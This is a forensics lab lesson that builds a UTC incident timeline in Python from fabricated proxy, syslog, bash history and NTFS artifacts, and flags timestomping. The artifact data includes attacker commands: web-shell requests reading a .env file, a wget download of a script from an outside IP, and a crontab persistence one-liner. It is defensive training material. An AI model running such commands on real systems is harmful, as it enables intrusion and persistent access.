Skip to content
Tech Atlas, home
Search
Esc
  • All roadmapsBrowse every learning path
  • ExploreFind a technology area
  • ProjectsGuided projects and builds
  • My AtlasYour learning dashboard
Lesson 4 of 6 · Lab · 30 min · revision 2

Building a Timeline from Host and Log Artifacts

Normalise eight fixed artifacts to UTC with Python: a proxy log in UTC, RFC 3164 syslog in local time from a host with a fast clock, bash history epochs, a file listing with offsets, and NTFS MFT, USN journal and prefetch exports. Detect timestomping by comparing $SI and $FN times, see what a naive merge gets wrong, and label initial access, persistence and impact.

Contentsand lesson path

What you will learn

  • Reconstruct an incident timeline from host artifacts and logs that identifies initial access, persistence and impact.

01. Goal and setup

Case IR-2026-031 continues. You have artifacts from three machines: lb01, the reverse proxy in front of the website; web01, the Linux web server from lesson 3; and FIN-PC07, a Windows 11 finance workstation whose files were encrypted. Your job is to merge them into one timeline that a reader can trust, and to mark where the attacker got in, how they stayed, and when the damage happened.

You need Python 3.11 or later and nothing else: the scripts use only the standard library. On Windows, zoneinfo needs time zone data, so run pip install tzdata first. Create a folder timeline and work inside it.

Folder layout
timeline/
├── make_artifacts.py   step 1: writes the eight fixed artifacts
├── artifacts/          lb01-*, web01-*, fin-pc07-*
└── timeline.py         step 3: normalise, check, label, print

02. Why a timeline needs one clock

Every source records time in its own way, and you must know three things about each one before you trust it. First, the time zone: is the value in UTC, in local time, or in local time with an offset written next to it? Second, the format: text, seconds since 1970, or a Windows counter. Third, the clock itself: was the machine synchronised with NTP, or was it fast or slow? If you merge sources without fixing all three, cause can appear after effect, and the story you tell will be wrong.

The sources in this lab cover the usual cases. The proxy writes UTC with +0000 in each line. web01 writes its authentication log in the RFC 3164 syslog format, which has no year and no time zone, in Berlin local time. Its bash history stores seconds since 1970 in UTC. Its file listing uses local time with an explicit +0100. During collection, the clock check from lesson 3 showed that web01 was 95 seconds fast, so every web01 timestamp, whatever its format, needs the same correction. On the Windows side, NTFS stores times in UTC as a FILETIME: the number of 100-nanosecond intervals since 1 January 1601 (Microsoft: File Times). One export tool writes UTC without saying so, which you only know from its documentation.

Use a real time zone name such as Europe/Berlin, not a fixed +01:00. Berlin is UTC+1 in winter and UTC+2 in summer, and Python's zoneinfo applies the right offset for each date. A constant clock correction is also an assumption: it is only safe close to the time you measured it.

03. Windows artifacts: $SI, $FN, USN and prefetch

The NTFS Master File Table (MFT) keeps two sets of timestamps for each file. $STANDARD_INFORMATION ($SI) is what Explorer and most tools show. $FILE_NAME ($FN) is maintained by the file system with the file's name. MITRE ATT&CK T1070.006 (Timestomp) explains why the difference matters: $SI times can be changed from user level through normal Windows API calls, while changing $FN usually needs kernel access or a move or rename. So an attacker who backdates a tool to blend in often changes only $SI. A file whose $SI creation time is older than its $FN creation time is a strong lead for timestomping. It is not proof: some legitimate tools set old times, and a careful attacker can change both ("double timestomping").

Two more sources help. The USN change journal records changes to files and folders on a volume with a reason such as FILE_CREATE, RENAME_NEW_NAME or BASIC_INFO_CHANGE, which covers attribute and timestamp changes (Microsoft: Change Journals). Prefetch files record that a program ran, how often and when it last ran. Prefetch can be turned off, so a missing file proves little. On Linux, remember that ctime is the inode change time, not the creation time: chmod updates ctime but leaves mtime, the content modification time, alone.

04. Step 1: Write the artifacts

The artifacts are short and fixed, so everyone gets the same timeline. Save make_artifacts.py and run it. The hashes are shortened to 16 characters so you can compare them with the lesson at a glance.

Python · timeline/make_artifacts.py
"""Write the fixed artifacts of case IR-2026-031 into artifacts/."""
from pathlib import Path

FILES = {
    # lb01 reverse proxy, NTP-synchronised, logs in UTC (Common Log Format)
    "lb01-access.log": """\
203.0.113.50 - - [02/Nov/2026:08:52:10 +0000] "GET / HTTP/1.1" 200 5120
203.0.113.50 - - [02/Nov/2026:08:54:31 +0000] "GET /.env HTTP/1.1" 404 153
203.0.113.50 - - [02/Nov/2026:08:55:02 +0000] "POST /upload.php HTTP/1.1" 200 61
203.0.113.50 - - [02/Nov/2026:08:55:20 +0000] "GET /f/a.php?c=id HTTP/1.1" 200 54
203.0.113.50 - - [02/Nov/2026:08:56:41 +0000] "GET /f/a.php?c=cat+.env HTTP/1.1" 200 88
""",
    # web01: RFC 3164 syslog in local time (Europe/Berlin), no year, no zone
    "web01-auth.log": """\
Nov  2 10:00:05 web01 sshd[2101]: Failed password for root from 203.0.113.50
Nov  2 10:01:44 web01 sshd[2140]: Accepted password for deploy from 203.0.113.50
""",
    # web01: bash history with HISTTIMEFORMAT set, so each command has an epoch line
    "web01-deploy.bash_history": """\
#1793610165
id
#1793610207
wget -q http://198.51.100.66/u.sh -O /home/deploy/.cache/upd.sh
#1793610231
chmod 700 /home/deploy/.cache/upd.sh
#1793610255
(crontab -l; echo '*/10 * * * * /home/deploy/.cache/upd.sh') | crontab -
#1793610425
xfreerdp /v:10.1.20.37 /u:svc_backup
""",
    # web01: the crontab that the history line created
    "web01-crontab-deploy.txt": "*/10 * * * * /home/deploy/.cache/upd.sh\n",
    # web01: find -printf '%p|%TY-%Tm-%Td %TT %Tz|%CY-%Cm-%Cd %CT %Cz\\n' (local time)
    "web01-files.txt": """\
/home/deploy/.cache/upd.sh|2026-11-02 10:03:28 +0100|2026-11-02 10:03:51 +0100
/var/spool/cron/crontabs/deploy|2026-11-02 10:04:15 +0100|2026-11-02 10:04:15 +0100
""",
    # FIN-PC07 (Windows 11): MFT export, $SI and $FN times in UTC
    "fin-pc07-mft.csv": """\
path,si_created,si_modified,fn_created,fn_modified
C:\\ProgramData\\WinUpd\\wupd.exe,2024-03-14T10:22:00Z,2024-03-14T10:22:00Z,\
2026-11-02T09:12:47Z,2026-11-02T09:12:47Z
C:\\Users\\mlee\\Documents\\Q3-report.xlsx,2026-10-15T08:01:12Z,2026-10-30T16:40:03Z,\
2026-10-15T08:01:12Z,2026-10-15T08:01:12Z
C:\\Program Files\\7-Zip\\7z.exe,2025-01-10T09:30:00Z,2025-01-10T09:30:00Z,\
2025-01-10T09:30:00Z,2025-01-10T09:30:00Z
""",
    # FIN-PC07: USN change journal, TimeStamp as a raw FILETIME (100 ns since 1601 UTC)
    "fin-pc07-usn.csv": """\
filetime,reason,name
134380843670000000,FILE_CREATE,wupd.exe
134380843710000000,BASIC_INFO_CHANGE,wupd.exe
134381412050000000,RENAME_NEW_NAME,Q3-report.xlsx.locked
134381412060000000,RENAME_NEW_NAME,budget-2027.xlsx.locked
""",
    # FIN-PC07: prefetch parser export; the tool writes UTC without a zone marker
    "fin-pc07-prefetch.csv": """\
executable,run_count,last_run_utc,previous_run_utc
WUPD.EXE,2,2026-11-03 01:00:02,2026-11-02 09:13:05
""",
}

out = Path("artifacts")
out.mkdir(exist_ok=True)
for name, text in FILES.items():
    (out / name).write_text(text)
print(f"wrote {len(FILES)} files to {out}/")
Terminal
python3 make_artifacts.py
sha256sum artifacts/* | cut -c1-16,65-
Expected output
wrote 8 files to artifacts/
7ef4f44b525a702d  artifacts/fin-pc07-mft.csv
f2b716d98ff9f352  artifacts/fin-pc07-prefetch.csv
cabd7c8c8c2004af  artifacts/fin-pc07-usn.csv
d1983e6353e62803  artifacts/lb01-access.log
57ecd96cc21ab577  artifacts/web01-auth.log
71a561fa385828cd  artifacts/web01-crontab-deploy.txt
37a86533f00db69d  artifacts/web01-deploy.bash_history
f635b28ae762d0d5  artifacts/web01-files.txt

05. Step 2: Look at the raw formats

Before parsing anything, read a few lines of the sources that use unusual formats.

Terminal
head -n 2 artifacts/web01-auth.log artifacts/web01-deploy.bash_history \
  artifacts/fin-pc07-usn.csv
Expected output
==> artifacts/web01-auth.log <==
Nov  2 10:00:05 web01 sshd[2101]: Failed password for root from 203.0.113.50
Nov  2 10:01:44 web01 sshd[2140]: Accepted password for deploy from 203.0.113.50

==> artifacts/web01-deploy.bash_history <==
#1793610165
id

==> artifacts/fin-pc07-usn.csv <==
filetime,reason,name
134380843670000000,FILE_CREATE,wupd.exe

None of these can be sorted against the others as text: Nov 2 10:01:44 has no year or zone, and the two numbers count seconds since 1970 and ticks since 1601.

06. Step 3: Write the timeline builder

timeline.py is printed in four blocks. Paste them into one file in this order; together they run as printed. The first block sets the facts you established during collection: the zone, the clock error, the year for RFC 3164 lines and the time window of the case. add() stores every event in UTC. The --naive flag turns every correction off so you can see the damage in step 5.

Python · timeline/timeline.py (1 of 4)
"""Build one UTC timeline from the artifacts of case IR-2026-031."""
import csv
import re
import sys
from datetime import datetime, timedelta, timezone
from pathlib import Path
from zoneinfo import ZoneInfo

A = Path("artifacts")
NAIVE = "--naive" in sys.argv        # skip every correction, to see what goes wrong
UTC = timezone.utc
BERLIN = ZoneInfo("Europe/Berlin")   # the time zone configured on web01
WEB01_FAST = timedelta(seconds=95)   # web01's clock was 95 s ahead at collection
CASE_YEAR = 2026                     # RFC 3164 lines carry no year
START = datetime(2026, 11, 2, tzinfo=UTC)   # the window under investigation
END = datetime(2026, 11, 4, tzinfo=UTC)
events = []


def add(when, host, text):
    events.append((when.astimezone(UTC), host, text))


def web01(when):
    """Remove web01's known clock error (left in place in naive mode)."""
    return when if NAIVE else when - WEB01_FAST

The second block parses the proxy log and the three web01 sources. Each parser turns its format into an aware datetime, a value that carries its own zone, before web01() removes the 95 seconds.

Python · timeline/timeline.py (2 of 4)
# lb01: Common Log Format, UTC offset written in every line
for line in (A / "lb01-access.log").read_text().splitlines():
    m = re.search(r'\[([^\]]+)\] "(\S+) (\S+) [^"]*" (\d+)', line)
    when = datetime.strptime(m[1], "%d/%b/%Y:%H:%M:%S %z")
    add(when, "lb01", f"{m[2]} {m[3]} -> {m[4]}")

# web01 auth.log: RFC 3164, local wall-clock time, no year and no zone
for line in (A / "web01-auth.log").read_text().splitlines():
    stamp, message = line[:15], line.split(": ", 1)[1]
    local = datetime.strptime(f"{CASE_YEAR} {stamp}", "%Y %b %d %H:%M:%S")
    add(web01(local.replace(tzinfo=UTC if NAIVE else BERLIN)), "web01", message)

# web01 bash history: "#<seconds since 1970 UTC>" above each command
lines = (A / "web01-deploy.bash_history").read_text().splitlines()
for stamp, command in zip(lines[0::2], lines[1::2]):
    when = datetime.fromtimestamp(int(stamp[1:]), UTC)
    add(web01(when), "web01", f"$ {command}")

# web01 file listing: local time with an explicit offset such as +0100
for line in (A / "web01-files.txt").read_text().splitlines():
    path, *stamps = line.split("|")
    for kind, value in zip(("mtime", "ctime"), stamps):
        when = datetime.strptime(value, "%Y-%m-%d %H:%M:%S %z")
        if NAIVE:
            when = when.replace(tzinfo=UTC)   # the classic mistake: drop the offset
        add(web01(when), "web01", f"{kind} {path}")

The third block reads the Windows exports. It converts FILETIME by adding the ticks to 1 January 1601, and it compares $SI with $FN creation times for every MFT row. The two harmless files are the negative test: a normal edit changes $SI modified, not $SI created, and must not be flagged.

Python · timeline/timeline.py (3 of 4)
def rows(name):
    with open(A / name, newline="") as f:
        return list(csv.DictReader(f))


# FIN-PC07 USN journal: FILETIME = 100-nanosecond ticks since 1601-01-01 UTC
FILETIME_ZERO = datetime(1601, 1, 1, tzinfo=UTC)
for row in rows("fin-pc07-usn.csv"):
    when = FILETIME_ZERO + timedelta(microseconds=int(row["filetime"]) // 10)
    add(when, "fin-pc07", f"usn {row['reason']} {row['name']}")

# FIN-PC07 prefetch export: UTC, but the tool writes no zone marker
for row in rows("fin-pc07-prefetch.csv"):
    for key in ("previous_run_utc", "last_run_utc"):
        when = datetime.fromisoformat(row[key]).replace(tzinfo=UTC)
        add(when, "fin-pc07", f"prefetch ran {row['executable']}")

# FIN-PC07 MFT: compare $STANDARD_INFORMATION with $FILE_NAME creation times
for row in rows("fin-pc07-mft.csv"):
    name = row["path"].split("\\")[-1]
    si = datetime.fromisoformat(row["si_created"])
    fn = datetime.fromisoformat(row["fn_created"])
    stomped = si < fn   # $SI older than $FN: a lead for timestomping, not proof
    print(f"timestomp check {name:<16} $SI {si:%Y-%m-%d} $FN {fn:%Y-%m-%d}",
          "FLAG" if stomped else "ok")
    note = f" ($SI claims {si:%Y-%m-%d}: timestomp?)" if stomped else ""
    add(fn, "fin-pc07", f"$FN created {name}{note}")

The last block labels events with simple text rules, prints the events inside the case window in time order, and summarises the first event of each key phase. Rules like these only suggest labels; an analyst confirms each one against the evidence.

Python · timeline/timeline.py (4 of 4)
PHASES = [  # (text in the event, label); the first match wins
    ("POST /upload.php", "initial-access"),
    ("a.php?c=cat", "credential-access"),
    ("a.php?c=", "execution"),
    ("Accepted password", "initial-access"),
    ("crontab", "persistence"),
    ("xfreerdp", "lateral-movement"),
    ("timestomp", "stealth"),
    ("prefetch ran", "execution"),
    (".locked", "impact"),
]


def phase(text):
    return next((label for key, label in PHASES if key in text), "")


print()
first = {}
for when, host, text in sorted(events):
    if START <= when < END:
        label = phase(text)
        first.setdefault(label, when)
        line = f"{when:%Y-%m-%dT%H:%M:%SZ} {host:<8} {text[:38]:<38} {label}"
        print(line.rstrip())
print()
for label in ("initial-access", "persistence", "impact"):
    print(f"first {label:<15} {first[label]:%Y-%m-%dT%H:%M:%SZ}")
print("initial access to impact:", first["impact"] - first["initial-access"])

07. Step 4: Build the timeline

Run the builder.

Terminal
python3 timeline.py
Expected output
timestomp check wupd.exe         $SI 2024-03-14 $FN 2026-11-02 FLAG
timestomp check Q3-report.xlsx   $SI 2026-10-15 $FN 2026-10-15 ok
timestomp check 7z.exe           $SI 2025-01-10 $FN 2025-01-10 ok

2026-11-02T08:52:10Z lb01     GET / -> 200
2026-11-02T08:54:31Z lb01     GET /.env -> 404
2026-11-02T08:55:02Z lb01     POST /upload.php -> 200                initial-access
2026-11-02T08:55:20Z lb01     GET /f/a.php?c=id -> 200               execution
2026-11-02T08:56:41Z lb01     GET /f/a.php?c=cat+.env -> 200         credential-access
2026-11-02T08:58:30Z web01    Failed password for root from 203.0.11
2026-11-02T09:00:09Z web01    Accepted password for deploy from 203. initial-access
2026-11-02T09:01:10Z web01    $ id
2026-11-02T09:01:52Z web01    $ wget -q http://198.51.100.66/u.sh -O
2026-11-02T09:01:53Z web01    mtime /home/deploy/.cache/upd.sh
2026-11-02T09:02:16Z web01    $ chmod 700 /home/deploy/.cache/upd.sh
2026-11-02T09:02:16Z web01    ctime /home/deploy/.cache/upd.sh
2026-11-02T09:02:40Z web01    $ (crontab -l; echo '*/10 * * * * /hom persistence
2026-11-02T09:02:40Z web01    ctime /var/spool/cron/crontabs/deploy  persistence
2026-11-02T09:02:40Z web01    mtime /var/spool/cron/crontabs/deploy  persistence
2026-11-02T09:05:30Z web01    $ xfreerdp /v:10.1.20.37 /u:svc_backup lateral-movement
2026-11-02T09:12:47Z fin-pc07 $FN created wupd.exe ($SI claims 2024- stealth
2026-11-02T09:12:47Z fin-pc07 usn FILE_CREATE wupd.exe
2026-11-02T09:12:51Z fin-pc07 usn BASIC_INFO_CHANGE wupd.exe
2026-11-02T09:13:05Z fin-pc07 prefetch ran WUPD.EXE                  execution
2026-11-03T01:00:02Z fin-pc07 prefetch ran WUPD.EXE                  execution
2026-11-03T01:00:05Z fin-pc07 usn RENAME_NEW_NAME Q3-report.xlsx.loc impact
2026-11-03T01:00:06Z fin-pc07 usn RENAME_NEW_NAME budget-2027.xlsx.l impact

first initial-access  2026-11-02T08:55:02Z
first persistence     2026-11-02T09:02:40Z
first impact          2026-11-03T01:00:05Z
initial access to impact: 16:05:03

Read it as a story. A scanner probes the proxy, then at 08:55:02 a POST /upload.php places a web shell: that is the initial access (ATT&CK technique T1190, exploit public-facing application). The shell runs id, then reads the application's .env file, which holds the deploy password. About three minutes later that password works over SSH. The bash history and the file times agree: a script is downloaded, made executable (only ctime moves), and installed in cron at 09:02:40, which is the persistence (T1053.003). Three minutes later deploy opens a remote desktop session to the finance PC as svc_backup. On FIN-PC07, wupd.exe appears at 09:12:47 according to $FN while $SI claims March 2024, and the journal shows a basic-information change four seconds later: timestomping. The program runs at 09:13:05 and again at 01:00:02 the next night, and three seconds later files start being renamed to .locked, which is the impact (T1486, data encrypted for impact). The attacker was inside for 16 hours before the damage, and most of the story is ordinary logons, commands and file writes that raised no alert.

08. Step 5: Negative test, the naive merge

Now run the same builder with every correction switched off: local times treated as UTC, offsets dropped and the clock error left in.

Terminal
python3 timeline.py --naive | grep web01
Expected output
2026-11-02T09:02:45Z web01    $ id
2026-11-02T09:03:27Z web01    $ wget -q http://198.51.100.66/u.sh -O
2026-11-02T09:03:51Z web01    $ chmod 700 /home/deploy/.cache/upd.sh
2026-11-02T09:04:15Z web01    $ (crontab -l; echo '*/10 * * * * /hom persistence
2026-11-02T09:07:05Z web01    $ xfreerdp /v:10.1.20.37 /u:svc_backup lateral-movement
2026-11-02T10:00:05Z web01    Failed password for root from 203.0.11
2026-11-02T10:01:44Z web01    Accepted password for deploy from 203. initial-access
2026-11-02T10:03:28Z web01    mtime /home/deploy/.cache/upd.sh
2026-11-02T10:03:51Z web01    ctime /home/deploy/.cache/upd.sh
2026-11-02T10:04:15Z web01    ctime /var/spool/cron/crontabs/deploy  persistence
2026-11-02T10:04:15Z web01    mtime /var/spool/cron/crontabs/deploy  persistence

The deploy user now runs commands at 09:02, an hour before the SSH login at 10:01 that started the session, and the crontab file changes an hour after the command that changed it. Every web01 event is also 95 seconds late against the proxy and the PC. An analyst reading this would look for a second, unknown way in. Normalisation is the first step of a timeline for exactly this reason.

09. Labels, tactics and their limits

The labels follow tactics of MITRE ATT&CK: initial access, execution, credential access, persistence, lateral movement and impact. One label changed recently: ATT&CK v19, released in April 2026, split the old Defense Evasion tactic into Stealth and Defense Impairment, and timestomping now sits under Stealth. Some techniques belong to several tactics; valid accounts (T1078), used here for the SSH login, is listed under initial access, persistence, privilege escalation and stealth. Choose the label that describes what the event did in this incident, and explain it in the report.

10. Troubleshooting

11. Check your understanding

Practice check · 3 questions

Time, formats and file system evidence

Three questions about the builder and its output.

Q1. You set `WEB01_FAST = timedelta(0)` by mistake and rerun step 4. Where does `Accepted password for deploy` appear?
Q2. A new MFT row shows the same $SI and $FN creation time for `wupd2.exe`, but the USN journal has `BASIC_INFO_CHANGE` four seconds after its `FILE_CREATE`. What does the builder print, and what follows?
Q3. Why does the builder use `ZoneInfo("Europe/Berlin")` for web01's syslog lines instead of a fixed `+01:00` offset?
Practice only: not graded, not saved, not evidence.

12. Apply it

For the skill project's timeline:

  • Add the custody record from lesson 3 as a source, so the timeline also shows when each piece of evidence was collected.
  • Handle the RFC 3164 year rollover: a line from 31 December read in a case opened on 2 January belongs to the previous year. Write a test first.
  • Export the timeline as CSV with columns for UTC time, host, source file, original timestamp text and label, so a reviewer can trace every row back to its artifact.

13. Review prompt

Without looking back:

  1. Which three things must you know about every time source?
  2. Why does a known clock offset apply to all of a host's sources, not just its logs?
  3. What makes $SI older than $FN a lead for timestomping, and why is it not proof?
  4. Which events in this case were the initial access, the persistence and the impact, and how long passed between the first and the last?

References

Your progress

Reading state

Sign in to save that you finished reading this lesson.

Sign in to mark reading complete

Prove this skill

10 questions · about 8 minutes · scored automatically. Marking a lesson as read never demonstrates a skill.
Take the skill check